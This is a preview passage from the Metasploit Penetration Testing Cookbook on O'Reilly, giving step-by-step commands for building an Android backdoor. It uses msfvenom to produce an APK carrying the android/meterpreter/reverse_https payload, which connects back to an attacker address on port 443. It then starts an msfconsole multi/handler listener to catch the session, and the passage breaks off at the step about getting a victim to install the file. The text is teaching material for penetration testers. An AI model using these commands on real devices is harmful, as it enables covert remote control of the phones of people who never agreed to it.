How to do it...

  1. We will be using msfvenom to create the backdoor using android/meterpreter/reverse_https for the payload:
root@kali:~# msfvenom -p android/meterpreter/reverse_https LHOST=192.168.216.5 LPORT=443 R > R00t.apkNo platform was selected, choosing Msf::Module::Platform::Android from the payloadNo Arch selected, selecting Arch: dalvik from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 9019 bytesroot@kali:~#
  1. Then, we need to set up the listener using msfconsole with the -x option to save us some time:
root@kali:~# msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_https; set LHOST 192.168.216.5; set LPORT 443; run'
  1. Getting the user to install the backdoor usually ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.